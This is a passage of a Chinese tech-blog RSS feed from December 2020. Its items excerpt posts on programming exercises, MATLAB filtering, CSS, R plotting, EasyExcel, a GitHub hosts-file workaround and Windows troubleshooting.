ON 来判断。&#xA;想要了解更多关于伺服电机、编码器、自动化的信息，可以点进下方的文字链接关注公众号哦。&#xA;伺服运动为什么要进行原点回归？</description>
    </item>
    <item>
      <title>2020湖南大学ACM新生杯题解- D Treasure Cave</title>
      <link>https://bchobby.github.io/posts/e9df03a751a46742150bcd03211a7b17/</link>
      <pubDate>Sat, 26 Dec 2020 22:58:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9df03a751a46742150bcd03211a7b17/</guid>
      <description>思路：&#xA;将地上的所有数和空中的数放在一起排序，空中的拿出意思就是可以最终从这个排好序的序列中抽出任意一个数，使得剩下的序列为严格的上升序列。&#xA;并且题目希望尽可能大，检查这个排好序的序列，如果这个序列中有两个连续相同的数就拿出其中一个，如果出现两组以上的相同的数，例如样例中的 3 4 1 4 4 排序后的序列为 1 4 4 4，有两组，就无法构成，&#xA;输出0，这个题差一丢丢就对了，可惜了。&#xA;#define _CRT_SECURE_NO_WARNINGS #include &amp;lt;cstdio&amp;gt; #include &amp;lt;algorithm&amp;gt; int a[100005]; int main(void) { int t, n, x, pairs=0; scanf(&#34;%d&#34;, &amp;amp;t); for (int i = 0; i &amp;lt; t; ++i) { scanf(&#34;%d %d&#34;, &amp;amp;n, &amp;amp;x); for (int j = 0; j &amp;lt; n; ++j) { scanf(&#34;%d&#34;, &amp;amp;a[j]); } a[n] = x; std::sort(a, a + n + 1); bool f = 1; // 可以逃出 int swap = 0; // 交换对象 pairs = 0; for (int i = 1; i &amp;lt;= n; ++i) { if (a[i] == a[i-1]) pairs++, swap = a[i]; if (pairs &amp;gt; 1) { f = 0; break; } } if (f &amp;amp;&amp;amp; pairs == 0) printf(&#34;</description>
    </item>
    <item>
      <title>java基础算法题（末考）总结三（冒泡、杨辉、回文等）</title>
      <link>https://bchobby.github.io/posts/52acdcafc3007782e692451700ab8312/</link>
      <pubDate>Sat, 26 Dec 2020 18:53:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52acdcafc3007782e692451700ab8312/</guid>
      <description>杨辉三角形 1 1 1 1 2 1 1 3 3 1 1 4 6 4 1 1 5 10 10 5 1 1 6 15 20 15 6 1 1 7 21 35 35 21 7 1 1 8 28 56 70 56 28 8 1 1 9 36 84 126 126 84 36 9 1&#xA;package tongxin; import com.sun.jdi.InconsistentDebugInfoException; public class Yanghui { public static void main(String[] args) { int Yanghui[][]=new int[10][10]; System.</description>
    </item>
    <item>
      <title>UI自动化命令总结（web/app）</title>
      <link>https://bchobby.github.io/posts/34109dacf774216400d342c0d3aa7d6d/</link>
      <pubDate>Fri, 25 Dec 2020 22:56:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34109dacf774216400d342c0d3aa7d6d/</guid>
      <description> </description>
    </item>
    <item>
      <title>gist 打不开，解决方式</title>
      <link>https://bchobby.github.io/posts/4fadd7399122258ae2c15e523f06839d/</link>
      <pubDate>Fri, 25 Dec 2020 22:51:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fadd7399122258ae2c15e523f06839d/</guid>
      <description> 现在国内打开 github 都是不带头像的，而且 gist 也无法打开。&#xA;在百度和 google 都查询了一下 hosts 的配置 ip ，目前都已失效。&#xA;目前自己查询到一组对应关心，希望能够帮到大家。&#xA;添加一下代码到 hosts 文件中。&#xA;windows 和 mac 的打开方式，自行查询。&#xA;# add by jdx, date 2020-12-25 # GitHub Start 52.74.223.119 github.com 13.250.177.223 gist.github.com 54.169.195.247 api.github.com 185.199.111.153 assets-cdn.github.com 151.101.76.133 raw.githubusercontent.com 151.101.76.133 gist.githubusercontent.com 151.101.76.133 cloud.githubusercontent.com 151.101.76.133 camo.githubusercontent.com 151.101.76.133 avatars0.githubusercontent.com 151.101.76.133 avatars1.githubusercontent.com 151.101.76.133 avatars2.githubusercontent.com 151.101.76.133 avatars3.githubusercontent.com 151.101.76.133 avatars4.githubusercontent.com 151.101.76.133 avatars5.githubusercontent.com 151.101.76.133 avatars6.githubusercontent.com 151.101.76.133 avatars7.githubusercontent.com 151.101.76.133 avatars8.githubusercontent.com # GitHub End </description>
    </item>
    <item>
      <title>r5 5600H 怎么样 相当于什么水平</title>
      <link>https://bchobby.github.io/posts/b10bd57ee6e942776007423cf2a86577/</link>
      <pubDate>Fri, 25 Dec 2020 21:23:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b10bd57ee6e942776007423cf2a86577/</guid>
      <description>Ryzen 5 5600H是基于Zen 3架构的6核12线程处理器。它具有3.30 GHz的默认频率和4.25GHz的加速频率，带有16MB的L3缓存和3 MB的L2缓存，显卡部分，AMD搭配的Vega GPU，其频率高于前代的Ryzen 5 4600H，可提供384个流处理器，Ryzen 5 5600H TDP为35W，最高可配置为45W；&#xA;r5 5600h怎么样看完你就知道了&#xA;https://list.jd.com/list.html?</description>
    </item>
    <item>
      <title>滑动平均滤波算法——MATLAB实现</title>
      <link>https://bchobby.github.io/posts/1ad656ae44920a3b31348de7214d6faf/</link>
      <pubDate>Fri, 25 Dec 2020 20:38:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ad656ae44920a3b31348de7214d6faf/</guid>
      <description> 算法原理 滑动平均滤波算法的基本思想是设定一个宽度固定的滑动窗口，该窗口沿着时间序列滑动，同时取窗内数据的算术平均值作为输出值，而由输出值组成另一个数字序列，也就是滤波后的序列。设N为滑动窗口的宽度，若N=2k+1，输入、输出分别为 x ( n ) x(n) x(n)和 y ( n ) y(n) y(n)，则&#xA;y ( n ) = 1 2 k + 1 ⋅ ∑ i = − k i = k x ( n + i ) y(n)=\frac{1}{2k+1}\cdot\sum^{i=k}_{i=-k}{x(n+i)} y(n)=2k+11​⋅i=−k∑i=k​x(n+i)&#xA;MATLAB代码实现： function x1 = MovingAverageFilter(x,win_sz) % x:待滑动平均的数据 % win_sz：窗宽 if nargin &amp;lt; 2 %默认窗宽等于7 win_sz=7; end L = length(x); %数据长度 x1 = zeros(L,1); %平均之后的数据 half_win = ceil(win_sz/2); half_win_ = floor(win_sz/2); if half_win==half_win_ half_win = half_win+1; end x1(1:half_win) = x(1:half_win); x1(L-half_win:L) = x(L-half_win:L); for i = half_win:L-half_win k=0; for j = i-half_win_:i+half_win_ %对第i个窗里面的数求平均 k = k+1; temp(k) = x(j) ; %临时存储第i个窗的数据 end x1(i) = mean(temp); %第i个窗里面的平均值给第i个数 end end </description>
    </item>
    <item>
      <title>闲聊</title>
      <link>https://bchobby.github.io/posts/1ce719119be99099418bade0b36ddd38/</link>
      <pubDate>Fri, 25 Dec 2020 20:34:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ce719119be99099418bade0b36ddd38/</guid>
      <description>已经快半年没更了，博主最近准备毕业论文，所以更新可能要等到明年34月份吧&#xA;关于内容，博主打算以后专门更新FPGA或者数字IC方面的一些简单基础，模拟可能也会涉及但是不多，有些视觉或者软件的朋友就抱歉啦，博主以后可能不会更新这方面的了。&#xA;关于工作，博主今年8月开始找工作，最终确定某微电子研究所，IC设计方向。当然同时还有另一家研究所的offer，FPGA设计&#xA;想说一点，如果是非科班的同学，找工作有疑惑可以和我交流，博主愿意解答哈哈哈。最后，博主是机械专业的，最后做IC是不是很可怕哈哈哈，我也觉得。。。&#xA;最后，祝自己和各位小伙伴：此生如意</description>
    </item>
    <item>
      <title>【源码】用于特征选择的二元差分进化算法</title>
      <link>https://bchobby.github.io/posts/5659e174f3d2050aa6d1d36c2b5f4f66/</link>
      <pubDate>Fri, 25 Dec 2020 18:40:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5659e174f3d2050aa6d1d36c2b5f4f66/</guid>
      <description>差分进化（DE）的二进制版本被称为二元差分进化（BDE），可以用于特征选择任务。&#xA;The binary version of Differential Evolution (DE), named as Binary Differential Evolution (BDE) is applied for feature selection tasks.&#xA;This toolbox offers Binary Differential Evolution (BDE) method&#xA;The &amp;lt; Main.m file &amp;gt; illustrates the example of how BDE can solve the feature selection problem using benchmark data-set.&#xA;参考文献：&#xA;Too, Jingwei, et al. “Hybrid Binary Particle Swarm Optimization Differential Evolution-Based Feature Selection for EMG Signals Classification.” Axioms, vol. 8, no.</description>
    </item>
    <item>
      <title>caffe-yolo-v2</title>
      <link>https://bchobby.github.io/posts/72121b6b54935a1d0c694104ac320cf3/</link>
      <pubDate>Fri, 25 Dec 2020 17:36:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72121b6b54935a1d0c694104ac320cf3/</guid>
      <description>https://github.com/gklz1982/caffe-yolov2</description>
    </item>
    <item>
      <title>汇编语言---跳转指令ja、jb、jl</title>
      <link>https://bchobby.github.io/posts/7b029fb65f10163628ce7c2414cec12e/</link>
      <pubDate>Fri, 25 Dec 2020 15:59:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b029fb65f10163628ce7c2414cec12e/</guid>
      <description>汇编语言—跳转指令ja、jb、jl ~~~ JE ;等于则跳转 JNE ;不等于则跳转 JZ ;为 0 则跳转 JNZ ;不为 0 则跳转 JS ;为负则跳转 JNS ;不为负则跳转 JC ;进位则跳转 JNC ;不进位则跳转 JO ;溢出则跳转 JNO ;不溢出则跳转 JA ;无符号大于则跳转 JNA ;无符号不大于则跳转 JAE ;无符号大于等于则跳转 JNAE ;无符号不大于等于则跳转 JG ;有符号大于则跳转 JNG ;有符号不大于则跳转 JGE ;有符号大于等于则跳转 JNGE ;有符号不大于等于则跳转 JB ;无符号小于则跳转 JNB ;无符号不小于则跳转 JBE ;无符号小于等于则跳转 JNBE ;无符号不小于等于则跳转 JL ;有符号小于则跳转 JNL ;有符号不小于则跳转 JLE ;有符号小于等于则跳转 JNLE ;有符号不小于等于则跳转 JP ;奇偶位置位则跳转 JNP ;奇偶位清除则跳转 JPE ;奇偶位相等则跳转 JPO ;奇偶位不等则跳转 计算机编程中的 “无符号”一词表示只能包含正数的变量。&#xA;计算机代码中的术语“带符号”表示变量可以包含负值和正值。</description>
    </item>
    <item>
      <title>css 实现水平垂直居中</title>
      <link>https://bchobby.github.io/posts/075d1966a1e73efaa3b4786a24b7dfaa/</link>
      <pubDate>Thu, 24 Dec 2020 22:49:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/075d1966a1e73efaa3b4786a24b7dfaa/</guid>
      <description>一、通过设置子元素 .parent{ position: absolute;&#x9;/* 非static即可 */ width: 500px; height: 300px; } 子元素知道 width, height position, top, left, transform&#xA;.child{ width: 100px; height: 50px; position: absolute; top: 50%; left: 50%; transform: translate(-50px, -25px); } position, left, right, top, bottom, margin&#xA;.child{ positon: absolute; width: 100px; height: 50px; /* 设置 left, right, top, bottom 是为了给marin: auto;的计算定界 */ left: 0; right: 0; top: 0; bottom: 0; margin: auto; } 子元素不知道 width, height（子元素的长宽由内容决定） position, left, top, transform</description>
    </item>
    <item>
      <title>proteus三输入与非门名字_proteus元件名称对照表</title>
      <link>https://bchobby.github.io/posts/7b2a54372d567a1245404143289d6316/</link>
      <pubDate>Thu, 24 Dec 2020 17:29:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b2a54372d567a1245404143289d6316/</guid>
      <description>元件名称中英文名说明&#xA;7407&#xA;驱动门&#xA;1N914&#xA;二极管&#xA;74LS00&#xA;与非门&#xA;74LS04&#xA;非门&#xA;74LS08&#xA;与门&#xA;74LS390 TTL&#xA;双十进制计数器&#xA;7SEG4&#xA;针&#xA;BCD-LED&#xA;输出从&#xA;0-9&#xA;对应于&#xA;4&#xA;根线的&#xA;BCD&#xA;码&#xA;7SEG 3-8&#xA;译码器电路&#xA;BCD-7SEG&#xA;转换电路&#xA;ALTERNATOR&#xA;交流发电机&#xA;AMMETER-MILLI mA&#xA;安培计&#xA;AND&#xA;与门&#xA;BATTERY&#xA;电池&#xA;/&#xA;电池组&#xA;BBB&#xA;总线&#xA;CCC&#xA;电容&#xA;*** CAPACITOR&#xA;电容器&#xA;CLOCK&#xA;时钟信号源&#xA;***CRYSTAL&#xA;晶振&#xA;D-FLIPFLOP D&#xA;触发器&#xA;FUSE&#xA;保险丝&#xA;GROUND&#xA;地&#xA;LAMP&#xA;灯&#xA;LED-RED&#xA;红色发光二极管&#xA;LM016L&#xA;2&#xA;行&#xA;16&#xA;列液晶&#xA;可显示&#xA;2</description>
    </item>
    <item>
      <title>横竖三个数的和相等_把1.2.3.4.5.6.7.8.9填入方格里,使横竖斜每行三个数的和相等？...</title>
      <link>https://bchobby.github.io/posts/02ffd872045a53a7b7dff075b4c14dd0/</link>
      <pubDate>Thu, 24 Dec 2020 13:57:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02ffd872045a53a7b7dff075b4c14dd0/</guid>
      <description>把&#xA;1.2.3.4.5.6.7.8.9&#xA;填入方格里，使横竖斜每行三个数的和相&#xA;等？&#xA;这是一道三阶幻方问题。把&#xA;1&#xA;、&#xA;2&#xA;、&#xA;3&#xA;、&#xA;4&#xA;、&#xA;5&#xA;、&#xA;6&#xA;、&#xA;7&#xA;、&#xA;8&#xA;、&#xA;9&#xA;，填入九宫格内，使横竖斜，每行的三个数的和都相等，&#xA;这个相等的和是&#xA;15&#xA;被称作幻和。下一步我们要确定中间数&#xA;是多少，&#xA;根据直觉，&#xA;这个数应该是&#xA;5,&#xA;怎么可以证明这一点呢。&#xA;大家请注意观察下面这个图，请注意到通过中心格的十字以&#xA;及对角线，&#xA;他们是正好是四个幻和&#xA;60&#xA;，&#xA;同时通过中心格的十&#xA;字及对角线的图案等于所有数的和加上三倍中间格。&#xA;其实还可以用更简单的方法来证明这一点。&#xA;1+9&#xA;等于&#xA;10&#xA;，&#xA;2+8&#xA;等于&#xA;10&#xA;，&#xA;3+7&#xA;等于&#xA;10&#xA;，&#xA;4+6&#xA;等于&#xA;10&#xA;，这四对数的和，再加上&#xA;5&#xA;都等于&#xA;15&#xA;。因此我们可以确定，中心格的数字是&#xA;5&#xA;。我们&#xA;仔细观察这四对数可以发现，它们是两对奇数和两对偶数。&#xA;下面我们根据奇偶数的性质来确定四个角应该填哪些数字。&#xA;1&#xA;、若填两对奇数，那么三个奇数的和才可能得奇数，边上&#xA;的空格需要填奇数，但是我们的奇数已经用完了。所以说四&#xA;个角是奇数不成立。&#xA;2&#xA;、若四个角分别填一对偶数，一对奇</description>
    </item>
    <item>
      <title>登录不了_12123APP登录不了肿么办？快来看这里！</title>
      <link>https://bchobby.github.io/posts/d38a6432378e1373c0d9c7324b4d7d18/</link>
      <pubDate>Thu, 24 Dec 2020 13:33:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d38a6432378e1373c0d9c7324b4d7d18/</guid>
      <description>电话号码换了，&#xA;密码忘记了， 电话号码被他人注册了， 登陆交管12123需要实人认证， 单位网上注册不了， 怎么办？ 怎么办？ 怎么办？ 别着急，交警蜀黍来帮您~&#xA;对于个人用户手机号码换了，电话号码被他人占用，请如下操作：&#xA;1&#xA;登陆交管12123APP后，点击【免登录模式】。&#xA;2&#xA;点击图片【服务中心】-【信息申诉】&#xA;3&#xA;如果手机号码换了请选择【手机号码无法接收短信验证码】，如果手机号码被他人使用请选择【手机号被他人占用】&#xA;(注：身份证号码被占用情况极其罕见，不能登录，大部分原因可能是您已经注册，但电话号码更换，因此，我们一般建议您选择“手机号码被占用”进行申诉) 4&#xA;录入正确的交管12123用户信息&#xA;5&#xA;将面部放至框中识别实人认证&#xA;6&#xA;选择身份证件实名认证，上传有效期内身份证正反面，提交审核&#xA;您的申诉就申请成功啦，待工作日工作人员审核成功后，您的电话号码就更改好啦！&#xA;如果密码也忘记了，审核通过后，主页点击【忘记密码】录入正确的信息后，就可以输入新的密码了，一定要记好哦！&#xA;如果您是单位用户，已在窗口做过面签并知道用户代号&#xA;登录电脑网页版(http://gs.122.gov.cn)点击单位登录，找回密码。&#xA;录入用户代号，委托代理人姓名及电话号码，会给代理人发送验证码，输入新的密码了，单位用户就可以正常登录了。&#xA;如果单位用户未在窗口注册面签，请携带营业执照、单位公章、委托书及代理人身份证&#xA;到兰州车管所或就近交警大队窗口办理面签业务。&#xA;(注:医院、汽车销售商、检测站只能到车管所办理)&#xA;图文来源丨宣传科&#xA;图文编辑丨子 鱼</description>
    </item>
    <item>
      <title>PUBG Mobile一直提示请求无响应，挂载加速器也不管用</title>
      <link>https://bchobby.github.io/posts/679213b54a106afcf7780ee1b3a1945c/</link>
      <pubDate>Thu, 24 Dec 2020 10:25:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/679213b54a106afcf7780ee1b3a1945c/</guid>
      <description>卸载Google商店，你会发现新天地</description>
    </item>
    <item>
      <title>cad等高线怎么做_科研绘图 | R 语言等高线图极简入门</title>
      <link>https://bchobby.github.io/posts/fa5eb364605be1221d8cd4482140bb4a/</link>
      <pubDate>Thu, 24 Dec 2020 07:47:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa5eb364605be1221d8cd4482140bb4a/</guid>
      <description>科研猫 | 最后更新时间：2019-11-26&#xA;在观察二维数据表，特别是空间数据的时候，往往需要通过作图来给读者一个更为直观的认知。对于一个二维的数据表，如果要描述数值的高低，我们通常选用热图来表示，可是对于一些特定的地形数据，热图就有点捉襟见肘了。今天我们来学习一种新的图形，那就是“等高图”。没错，就是等高图，我们初中地理课上老师讲过的等高线图。等高图不仅可以应用在地理上，它还可以对于试验数据的空间分析，可以做一个非常直观、形象的判断。&#xA;可能很多人还没听见过等高图在科研数据中的应用，甚至没有听说过等高图。因此，我们还是从最基础的概念入手。因为等高线图是从地理应用开发出来的，所以为了更好地理解等高线图，我们还是从地理概念入手，然后再嫁接到科研数据中。&#xA;何为等高线 等高线指的是地形图上高程相等的相邻各点所连成的闭合曲线。把地面上海拔高度相同的点连成的闭合曲线，并垂直投影到一个水平面上，并按比例缩绘在图纸上，就得到等高线。等高线也可以看作是不同海拔高度的水平面与实际地面的交线，所以等高线是闭合曲线。在等高线上标注的数字为该等高线的海拔。&#xA;等高线的特征 1、位于同一等高线上的地面点，海拔高度相同（可以理解为，而且数据表中的数值高低相同）。但数值高度相同的点不一定位于同一条等高线上。&#xA;2、在同一幅图内，不同高程的等高线不能相交。&#xA;3、在图廓内相邻等高线的高差一般是相同的，因此地面坡度与等高线之间的等高线平距成反比，等高线平距愈小，等高线排列越密，说明地面坡度越大；等高线平距愈大，等高线排列越稀，则说明地面坡度愈小。&#xA;4、等高线是一条闭合的曲线，如果不能在同一幅内闭合，则必在相邻或者其他图幅内闭合。&#xA;实例绘图教学 我们从一个实际的例子入手，测试用的数据是一个二维数据表，每个单元格中的数值可以理解为检测到的某种观察值。二维表的部分数值如下图所示。（完整测试数据去同名微信公众号添加客服领取）&#xA;下面我们就从最简单到最高级的方法来表述这个数据表中数值的高低变化。&#xA;一维·密度图 通过密度图（density plot）可以了解到数据分布的密度情况，类似于频率分布直方图，但是曲线更为圆润。在这里我们对密度图不做过多深入讲解，后续会有密度图的专文讲解。简单的密度图还是很容易绘制的，通过 density 函数即可。&#xA;二维·等高线图·初级 从一维的密度图中我们可以看出，大部分的数据集中在 100-120 这个区间之间，此外在 130-150 的位置也有一个小的集中区段。但是对于这样一个二维的数据表格，用一个一维的密度图来表示确实太过简单，数据的空间位置完全表达不出来，那怎们办呢？简单！通过 contour() 函数即可绘制一个直观的等高图。&#xA;是不是很高级！通过我们的科研数据居然可以用地理课上的等高线表示出来，而且很直观哦。整个二维表中，数值较高和较低的区域一目了然。&#xA;二维·等高线图·中级 上面这个图是通过base作图系统的 contour() 函数绘制出来的，非常直观，但是实话实说，有点“丑”，而且不同区域的数值高低也并不是非常明显。那怎么修改一下呢？简单！通过颜色标明不就行了。数值高的用暖色调，低的用冷色调。这样就更容易区分了。我们可以通过ggplot2 包和 ggisoband 包来实现。&#xA;是不是看上去舒服了很多了呢？而且这个渐进的颜色也是R包自动配置好的，也不用我们自己做调整就很好看呢。&#xA;二维·等高线图·高级 前面是绘制了等高线，而且对等高线添加了不同颜色。可是对于追求 CNS 级别作图的我来说，这还是远远不够的，如果能够对不同数值区间进行着色，这样岂不是看上去对于数值的空间分布能加直截了当？的确如此，那应该怎么着色呢？就像前面我们说的，其实可以直接用绘制热图的方法来操作。&#xA;说白了就是用色阶/色块来表示数值高低，可以说就是未经层次聚类的热图（了解关于热图的更多内容）。我们甚至可以直接用 Excel 中的色阶来进行着色，结果如下图所示。&#xA;如果想用 R 语言来绘制热图的，可以参考我们之前的文章（【科研猫·绘图】今夏最热的“热图”）。这里我们言归正传，继续讲如何在等高线图中进行着色，这里我们用到一个函数就是 R里面的 image() 函数，这可是一个非常好的函数，他能够根据数值高低对单元格进行着色。然后再加上等高线，就成了下图的样子。我们用R中的 terrain.colors() 函数对其进行着色。&#xA;二维·等高线图·终级 看过我们绘图教程的各位都知道，我们的图都是朝着 CNS 级别去做的（虽然发不了CNS的文章），而且往往从初级-中级-高级之后还得有个“终极”绘图。那么，这次的等高线图“究极”升级之后是什么样子的呢？&#xA;我们先谈谈 ggplot2。大家都知道ggplot2的图形是非常漂亮的，甚至在 ggplot2 的官方介绍中出现了 “elegant”（优雅）这样的词汇，可见其图形是多么高级。因此，在我们的技术团队中，基本上是强制要求所有技术人员在绘图过程中的工具代码都要采用 ggplot2 系统。那么，对于填充了颜色的等高线图，如果用 ggplot2 加持一下，会是什么样子呢？擦亮双眼吧。&#xA;这种配色是不是很绝？估计如果让我们自己来调色的话，可能一辈子都调不出这么好看的颜色吧。&#xA;三维·等高线图 熟悉我们套路的同学都知道，“科研猫出品，必是精品”。一个东西，我们要么不讲，一旦讲了就会从头到尾讲的彻彻底底。所以，既然二维的等高图都讲到这种程度了，必须得给大家留个彩蛋。可能有同学也想到了，我们从“一维”画到了“二维”，那么接下来必然就是从“二维”到“三维”了。没错！就是三维图，虽然我们前面给大家讲过三维的散点图该怎么画（了解更多“三维散点图”），但是三维散点图相对于我们的这个二维数据表来说还是比较简单的。如果把平面的二维等高线图绘制成一个三维的地形图呢？&#xA;从等高线图的特征中我们知道，等高线越密集，数值相差越大，相反，等高线越稀疏，数值相差越小。可是，这个需要我们有强大的三维想象能力，从二维的等高线图中自己构想。要是能直接画个三维趋势图，不就完美了？</description>
    </item>
    <item>
      <title>js判断是由含有a节点_怎么判断某个dom节点是否包含某个dom节点?</title>
      <link>https://bchobby.github.io/posts/7ead00bdd42499f20571c4fa65e9d20e/</link>
      <pubDate>Thu, 24 Dec 2020 06:54:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ead00bdd42499f20571c4fa65e9d20e/</guid>
      <description>var a = document.querySelector(&#39;.first-child&#39;);&#xA;var b = document.querySelector(&#39;.second-child-child&#39;);&#xA;var c = document.querySelector(&#39;.first&#39;);&#xA;var d = document.querySelector(&#39;.second&#39;);&#xA;function isChildOf(child, parent) {&#xA;var parentNode;&#xA;if(child &amp;amp;&amp;amp; parent) {&#xA;parentNode = child.parentNode;&#xA;while(parentNode) {&#xA;if(parent === parentNode) {&#xA;return true;&#xA;}&#xA;parentNode = parentNode.parentNode;&#xA;}&#xA;}&#xA;return false;&#xA;}&#xA;console.log(isChildOf(a, b));&#xA;console.log(isChildOf(b, d));&#xA;console.log(isChildOf(a, c));</description>
    </item>
    <item>
      <title>kernelbase故障模块_win7出现故障模块“kernelbase.dll”怎么处理?</title>
      <link>https://bchobby.github.io/posts/55a866b10215b79db9456f4d42705500/</link>
      <pubDate>Thu, 24 Dec 2020 00:20:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55a866b10215b79db9456f4d42705500/</guid>
      <description>【问题描述】：开机时提示“C:...*.DLL文件错误或丢失”【原因分析】：1. 启动中加载动态程序库文件时出现异常2. 病毒或流氓软件被杀毒软件删除后提示3. 软件在卸载时未卸载干净，注册表中有残留文件【简易步骤】：【开始】—【运行】—【msconfig】—【启动】—取消报错的dll文件相关启动项【解决方案】：1. 确认报错的文件名(如图1C:\PROGRA~1\COMMON~1\xntalk\xntalk.dll时出错找不到指定模块。) 按方案一操作。图12. 是否是在查杀病毒或卸载杀毒软件后出现：是，按方案二操作；否，按方案三操作方案一：启动中加载动态程序库文件时出现异常1. 【开始】—【运行】—【msconfig】—【启动】把加载项*.dll相关联的启动项去消开机启动，重启电脑后，如能正常进入系统，卸载相关软件，如对此软件有需求重新安装此软件。(如图2，图3，图4)图2图3图4方案二：病毒或流氓软件被杀毒软件删除后提示1. 【开始】—【运行】—【regedit】，在下面的位置删除相应键值：HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsCurrentVersion\Run(如图5)图5方案三：软件在卸载时未卸载干净，注册表中有残留文件1. 使用超级兔子魔法设置或Windows优化大师扫描一下注册表，它会自动的挑出无效的项删除。&#xA;取消&#xA;评论</description>
    </item>
    <item>
      <title>[HOJ 10178] 最大公约数 (Greatest Common Divisor)</title>
      <link>https://bchobby.github.io/posts/849cdb3347c21698f9aca48e71524a86/</link>
      <pubDate>Wed, 23 Dec 2020 18:58:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/849cdb3347c21698f9aca48e71524a86/</guid>
      <description>最大公约数Time Limit: 1000ms, Special Time Limit:2500ms, Memory Limit:32768KBTotal submit users: 2211, Accepted users: 1898Problem 10178 : No special judgementProblem description输入两个整数a,b(1≤a,b≤100000000)，请编写程序求出他们的最大公约数。&#xA;Input第一个数n表示测试数据的个数，接下来的n行每行有两个整数a b，用空格隔开&#xA;Output输出n行，每行输出对应a,b的最大公约数&#xA;Sample Input 3 12 8 25 10 21 63 Sample Output 4 5 21 Problem SourceCSU 1st Contest 解法1：暴力，超时 算法：最容易想到的暴力法，从 a,b 两个数中的较小数开始向下逐步试探能否同时整除两个数，可以就得到答案，时间复杂度 O(max(a, b)) 结果超时。&#xA;#define _CRT_SECURE_NO_WARNINGS #include &amp;lt;cstdio&amp;gt; #include &amp;lt;vector&amp;gt; int min(int a, int b) { return a &amp;lt; b ? a : b; } int main() { int n, a, b, s, m; scanf(&#34;</description>
    </item>
    <item>
      <title>win10蓝牙已配对连接不上_Win10系统显示蓝牙已配对但未连接的解决方法</title>
      <link>https://bchobby.github.io/posts/5dd7ba189a0e669b007eba2b28808862/</link>
      <pubDate>Wed, 23 Dec 2020 16:02:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5dd7ba189a0e669b007eba2b28808862/</guid>
      <description>最近有win10系统用户反映说碰到这样一个情况，就是在使用蓝牙的时候，明明已经显示蓝牙已配对了，但是却一直未连接，导致无法使用蓝牙功能，遇到这样的问题该如何处理呢？本文就给大家讲解一下Win10系统显示蓝牙已配对但未连接的解决方法。&#xA;1、在Windows10系统桌面，依次点击“开始”，“Windows系统”“控制面板”菜单项；&#xA;2、在打开的控制面板窗口中，点击右上角的“查看方式”下拉菜单；&#xA;3、然后在弹出的菜单中选择“大图标”菜单项，这时，会打开所有控制面板项窗口，点击窗口中的“疑难解答”图标；&#xA;4、在打开疑难解答设置页面中，点击“硬件和声音”图标；&#xA;5、在打开的新窗口中，点击“蓝牙”一项的快捷链接，这时会打开“解决并帮助预防计算机问题”的窗口；&#xA;6、点击“下一步”按钮，Windows10系统会自动扫描并检测问题，完成后重新启动计算机，就可以正常使用蓝牙鼠标了。&#xA;Win10系统显示蓝牙已配对但未连接咋办？&#xA;1、控制面板中点击“疑难解答”图标。&#xA;2、在“硬件和声音”窗口中找到蓝牙一项。&#xA;3、打开“解决并帮助预防计算机问题”的窗口。&#xA;4、Windows10系统会自动扫描并检测问题。&#xA;经过上面的方法就可以解决Win10系统显示蓝牙已配对但未连接这个问题了，相信以上教程内容可以帮助到大家。&#xA;我要分享到：</description>
    </item>
    <item>
      <title>EasyExcel解析合并单元格@ExcelProperty</title>
      <link>https://bchobby.github.io/posts/b8e233ef902eca8cf8422135f3a447f9/</link>
      <pubDate>Wed, 23 Dec 2020 15:38:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8e233ef902eca8cf8422135f3a447f9/</guid>
      <description>根据名称解析-value 本质上来说，根据名称解析也是获取到名称对应的下标/索引进行解析，如果是根据索引进行解析，不需要名称对应转换步骤即可&#xA;使用方式为：new ExcelAnalysisHelper().getList(file, T.class);&#xA;@ExcelProperty(value = “序号”,index = 1)，其中value为名称，index为索引&#xA;根据索引解析可参考(我也是参考别人的文档)：根据索引解析&#xA;ExcelAnalysisHelper package com.meiyuan.controller.excel; import com.alibaba.excel.EasyExcel; import com.alibaba.excel.annotation.ExcelProperty; import com.alibaba.excel.enums.CellExtraTypeEnum; import com.alibaba.excel.metadata.CellExtra; import com.meiyuan.commons.tools.exception.ErrorCode; import com.meiyuan.order.exception.OrdersException; import lombok.extern.slf4j.Slf4j; import org.apache.poi.xssf.usermodel.XSSFRow; import org.apache.poi.xssf.usermodel.XSSFSheet; import org.apache.poi.xssf.usermodel.XSSFWorkbook; import org.springframework.util.CollectionUtils; import org.springframework.web.multipart.MultipartFile; import java.io.IOException; import java.lang.reflect.Field; import java.util.ArrayList; import java.util.List; /** * * 模板的读取类 * * @author syx * @version 1.0.0 * @date 2020/12/21 9:44 */ @Slf4j public class ExcelAnalysisHelper&amp;lt;T&amp;gt; { public List&amp;lt;T&amp;gt; getList(MultipartFile file, Class&amp;lt;T&amp;gt; clazz) { return getList(file, clazz, 0, 1); } public List&amp;lt;T&amp;gt; getList(MultipartFile file, Class&amp;lt;T&amp;gt; clazz, Integer sheetNo, Integer headRowNumber) { UploadDataListener&amp;lt;T&amp;gt; listener = new UploadDataListener&amp;lt;&amp;gt;(headRowNumber); try { EasyExcel.</description>
    </item>
    <item>
      <title>高德地图哪个语音包最好_高德语音导航怎么呼叫？高德地图语音包怎么设置</title>
      <link>https://bchobby.github.io/posts/e8c503ce8e006b8291d5a50ad95b187d/</link>
